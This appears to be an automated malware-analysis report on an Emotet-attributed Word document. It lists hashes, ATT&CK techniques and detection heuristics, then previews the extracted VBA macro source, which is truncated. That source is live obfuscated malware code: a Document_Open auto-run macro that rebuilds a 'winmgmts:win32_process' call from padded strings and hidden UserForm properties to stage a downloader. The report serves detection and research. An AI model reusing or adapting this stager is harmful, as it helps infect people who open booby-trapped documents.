Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ef53b5660915cd10…

MALICIOUS

Office (OLE)

225.9 KB Created: 2020-08-27 08:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: c8c6a636b6e4549aa0d27d9c27e43149 SHA-1: e5720221f268e2aa6b5022fc235dc99f8278b088 SHA-256: ef53b5660915cd10da7b8564b212dd3dc3c96526857149f0cda0ae180b58a0ad
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros with a Document_Open auto-execution routine. Critical heuristics indicate a hidden UserForm command stager, which is a common technique for Emotet to download and execute further malicious content. The ClamAV detection name also strongly suggests Emotet. No specific URLs or hostnames were extracted, but the presence of obfuscated VBA code points to a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9239 bytes
SHA-256: 8b93416e0d4e8ed1301e23bd14a33edd647c51f7b1f5635959c62c35ce6d403a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ogwj7dz9yz6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Cpylr5czo_dt.Nwlvq1qunhvxe
End Sub


Attribute VB_Name = "Cpylr5czo_dt"
Attribute VB_Base = "0{4AC8E6A5-B599-413A-85D8-81A8FB482D1B}{3E74C5AA-5594-4293-A48F-9EFFF573E412}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Nwlvq1qunhvxe()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Gilcp3gswl3sfo0pqz = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Zuj2d0co751s5lkt = ChrW(Gilcp3gswl3sfo0pqz + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Khwqtqoeb5tlzjq0r4 = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Zuj2d0co751s5lkt + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Cpylr5czo_dt.Gsm427kxyw82m41i + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
G24lp96fyuoy08tp7 = Lmwxjmutqqp4ujh0(Khwqtqoeb5tlzjq0r4)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Lu7gu84qmnx3w1uil = Cpylr5czo_dt.Lrwalh7cpnl3fd9.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
S3tc33mphau5 = O19w4vwk0k_ofw + (G24lp96fyuoy08tp7 + Zuj2d0co751s5lkt + Cpylr5czo_dt.Bq9sqz9e483y.ControlTipText + Lu7gu84qmnx3w1uil)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS
... (truncated)